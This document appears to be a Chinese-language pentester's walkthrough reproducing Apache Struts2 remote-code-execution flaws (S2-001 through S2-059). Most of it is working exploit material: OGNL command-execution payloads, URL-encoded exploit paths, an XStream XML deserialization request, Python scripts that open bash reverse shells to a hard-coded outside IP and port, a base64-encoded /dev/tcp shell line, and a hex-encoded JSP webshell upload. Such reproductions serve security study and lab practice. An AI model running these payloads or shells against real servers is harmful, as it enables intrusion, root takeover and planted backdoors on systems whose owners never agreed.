struts2漏洞
简介
Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级 Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts1和Struts2;Struts2是一个基于 MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器 (Controller)来建立模型与视图的数据交互。Struts2是Struts的下一代产品,是在 struts1和WebWork的 技术基础上进行了合并的全新的Struts2框架。
历史漏洞
史上最全Struts2 漏洞复现合集(上) - 知乎 (zhihu.com)
框架识别
- 通过网页后缀来进行判断,如.do或者.action
- 通过 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true
Struts2漏洞检测工具
https://github.com/HatBoy/Struts2-Scan
https://github.com/Guaang/s2-tool
https://github.com/shack2/Struts2VulsTools
Struts2-001
漏洞原因
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
ognl 就是一个模板,java 结合Mybatis 就可以实现动态的sql
MyBatis 是一款优秀的持久层框架,它支持自定义 SQL、存储过程以及高级映射。MyBatis 免除了几乎所有的 JDBC 代码以及设置参数和获取结果集的工作。MyBatis 可以通过简单的 XML 或注解来配置和映射原始类型、接口和 Java POJO(Plain Old Java Objects,普通老式 Java 对象)为数据库中的记录。
本质就是sql 进行运行的时候进行了一个模板注入
这个多出现在登录注册
影响版本
Struts 2.0.0 - 2.0.8
漏洞检测
![image-20240706151541691](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Weblogic%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/image-20240706151541691.png)
上面是payload 下面是返回的结果
ognl 语法是%{}
漏洞复现
手动复现
poc
获取tomcat 的路径
1
| %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
|
![image-20240706151904655](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Weblogic%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/image-20240706151904655.png)
返回
2tomcatBinDir{/usr/local/tomcat}
获取网站路径的poc
1
| %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
|
![image-20240706151955234](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Weblogic%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/image-20240706151955234.png)
命令执行的poc
1 2
| %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
|
![image-20240706152052364](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Weblogic%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/image-20240706152052364.png)
工具复现
![image-20240706152631106](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Weblogic%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/image-20240706152631106.png)
![image-20240706152634593](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Weblogic%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/image-20240706152634593.png)
Struts2-045
漏洞简介
安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE(Java 2 Platform Enterprise Edition)框架——Struts2存在远程代码执行的严重漏洞,定级为高风险。在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
影响版本
1 2
| Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
|
漏洞利用
开启环境之后
![image-20240116092956719](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116092956719.png)
正常上传文件,然后抓包
![image-20240116093337081](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116093337081.png)
然后修改对应的content-type的值
1
| Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
|
![image-20240116093520419](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116093520419.png)
实现rce
反弹shell
但是注意,java反弹shell必须要base64加密,因为java不能识别>
,&
等字符
![image-20240116094200959](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116094200959.png)
第一个和第二个的区别是用于是否终端默认的是bash
然后将下面的这个放入bp
1
| echo YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMjMuMjUvOTk5OSAwPiYx|base64 -d|bash -i
|
这个需要对应的ip和端口
命令执行在线编码 | 国光 (sqlsec.com)
![image-20240219163950680](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/HR/image-20240219163950680.png)
并且struts2是运行在root权限的,所以我们直接就获取root
![image-20240116094800262](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116094800262.png)
struts2-059
漏洞原因
漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import requests import base64
target_url = "http://120.26.80.77:8080/"
reverse_ip = "8.219.161.88"
reverse_port = "9090"
bash_reverse_shell = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"
data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo," + str(base64.b64encode(bash_reverse_shell.encode('utf-8')), "utf-8") +"}|{base64,-d}|{bash,-i}'))}" }
res1 = requests.post(target_url, data=data1) res2 = requests.post(target_url, data=data2)
|
![image-20240116100301984](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116100301984.png)
运行就可以了
struts2-057
漏洞原因
这个相对于前面的来说比较艰难
当Struts2的配置满足以下条件时:
alwaysSelectFullNamespace值为true
action元素未设置namespace属性,或使用了通配符
namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。
影响版本
小于等于 Struts 2.3.34 与 Struts 2.5.16
payload
两个版本都是利用com.opensymphony.xwork2.dispatcher.HttpServletResponse对象去打印命令执行后的回显数据
2.3.20 版本
1
| /%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
|
2.3.34 版本
1
| /%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
|
漏洞测试
1 2 3
| /struts2-showcase/${(1+1)}/actionChain1.action
${(1+1)} 必须要URL编码
|
![image-20240116102557292](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116102557292.png)
这里将url编码了,发现1+1 已经变成了2
漏洞复现
由于看我们的1+1他能执行的话,我们就尝试去利用这个漏洞,直接上命令回显
1
| /struts2-showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action
|
![image-20240116150835609](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116150835609.png)
struts2-053
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身 不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
影响版本
Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
漏洞复现
访问路径
http://192.168.79.128:8080/hello.action
![](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/struts2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/20240210230151.png)
1 2
| %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
|
有一个空行不能少了
struts2-052
漏洞简介
xxe
2017年9月5日,Apache Struts官方发布最新的安全公告称,Apache Struts 2.5.x的REST插件存在远程代码执行高危漏洞,漏洞编号为CVE-2017-9805(S2-052),受影响的版本为Struts 2.5 - Struts 2.5.12。攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。
影响版本
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| POST /orders/3 HTTP/1.1 Host: 120.26.80.77:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/xml Content-Length: 2063
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/success</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
|
注意command的部分就是我们执行的命令
1 2 3
| <command> <string>calc</string> </command>
|
反弹shell
1 2 3 4 5
| <command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/8.219.161.88/9090 0>&1</string> </command>
|
![image-20240116161257181](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116161257181.png)
struts2-048
漏洞简介
2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。
影响版本
2.0.0 - 2.3.32
漏洞复现
payload
1
| %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
|
1
| %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
访问指定的目录
1
| http://192.168.79.128:8080//integration/editGangster.action
|
然后使用上面两个payload
![image-20240116163219774](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116163219774.png)
![image-20240116163042885](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116163042885.png)
![image-20240116163134547](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116163134547.png)
struts2-046
漏洞简介
Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。
漏洞复现
![image-20240116164010802](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116164010802.png)
上传文件1.txt或者其他什么都可以
![image-20240116164103229](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116164103229.png)
将包发过去
![image-20240116164124362](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116164124362.png)
修改这个部分
![image-20240116164228112](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116164228112.png)
添加00截断
也就是使用%00然后使用url解码
就出现了
![image-20240116164332771](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116164332771.png)
发现确实存在问题
然后将filename 变成这个
1
| %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b
|
别忘了还存在00截断的问题
![image-20240116164456531](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116164456531.png)
struts2-045
漏洞复现
![image-20240116165548311](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116165548311.png)
这个和之前的也是一样的只是利用的地方不一样而已
上传文件,抓包
![image-20240116165634736](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116165634736.png)
然后修改content-type
1
| %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
![image-20240116165751091](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116165751091.png)
反弹shell的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests import base64
target_url = "http://120.26.80.77:8080/"
reverse_ip = "8.219.161.88"
reverse_port = "9090"
bash_reverse_shell = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"
headers = { "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo " + str(base64.b64encode(bash_reverse_shell.encode('utf-8')), "utf-8") + "|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" }
rep = requests.post(url=target_url, headers=headers)
|
strruts2-032
漏洞复现
payload
1
| ?method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=whoami
|
![image-20240116170913394](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116170913394.png)
执行命令
1
| method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
|
上传蚁剑的webshell
1
| ?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=cmd.jsp&shellContent=%3c%25%21%0d%0a%20%20%20%20%63%6c%61%73%73%20%55%20%65%78%74%65%6e%64%73%20%43%6c%61%73%73%4c%6f%61%64%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%55%28%43%6c%61%73%73%4c%6f%61%64%65%72%20%63%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%73%75%70%65%72%28%63%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%43%6c%61%73%73%20%67%28%62%79%74%65%5b%5d%20%62%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%73%75%70%65%72%2e%64%65%66%69%6e%65%43%6c%61%73%73%28%62%2c%20%30%2c%20%62%2e%6c%65%6e%67%74%68%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%70%75%62%6c%69%63%20%62%79%74%65%5b%5d%20%62%61%73%65%36%34%44%65%63%6f%64%65%28%53%74%72%69%6e%67%20%73%74%72%29%20%74%68%72%6f%77%73%20%45%78%63%65%70%74%69%6f%6e%20%7b%0d%0a%20%20%20%20%20%20%20%20%74%72%79%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%43%6c%61%73%73%20%63%6c%61%7a%7a%20%3d%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%73%75%6e%2e%6d%69%73%63%2e%42%41%53%45%36%34%44%65%63%6f%64%65%72%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%28%62%79%74%65%5b%5d%29%20%63%6c%61%7a%7a%2e%67%65%74%4d%65%74%68%6f%64%28%22%64%65%63%6f%64%65%42%75%66%66%65%72%22%2c%20%53%74%72%69%6e%67%2e%63%6c%61%73%73%29%2e%69%6e%76%6f%6b%65%28%63%6c%61%7a%7a%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2c%20%73%74%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%20%63%61%74%63%68%20%28%45%78%63%65%70%74%69%6f%6e%20%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%43%6c%61%73%73%20%63%6c%61%7a%7a%20%3d%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%4f%62%6a%65%63%74%20%64%65%63%6f%64%65%72%20%3d%20%63%6c%61%7a%7a%2e%67%65%74%4d%65%74%68%6f%64%28%22%67%65%74%44%65%63%6f%64%65%72%22%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%28%62%79%74%65%5b%5d%29%20%64%65%63%6f%64%65%72%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%4d%65%74%68%6f%64%28%22%64%65%63%6f%64%65%22%2c%20%53%74%72%69%6e%67%2e%63%6c%61%73%73%29%2e%69%6e%76%6f%6b%65%28%64%65%63%6f%64%65%72%2c%20%73%74%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%25%3e%0d%0a%3c%25%0d%0a%20%20%20%20%53%74%72%69%6e%67%20%63%6c%73%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%0d%0a%20%20%20%20%69%66%20%28%63%6c%73%20%21%3d%20%6e%75%6c%6c%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%6e%65%77%20%55%28%74%68%69%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%43%6c%61%73%73%4c%6f%61%64%65%72%28%29%29%2e%67%28%62%61%73%65%36%34%44%65%63%6f%64%65%28%63%6c%73%29%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%65%71%75%61%6c%73%28%70%61%67%65%43%6f%6e%74%65%78%74%29%3b%0d%0a%20%20%20%20%7d%0d%0a%25%3e&encoding=UTF-8&pp=/hello
|
访问hellocmd.jsp
![image-20240116171220498](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116171220498.png)
![image-20240116171256605](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/Struts2/image-20240116171256605.png)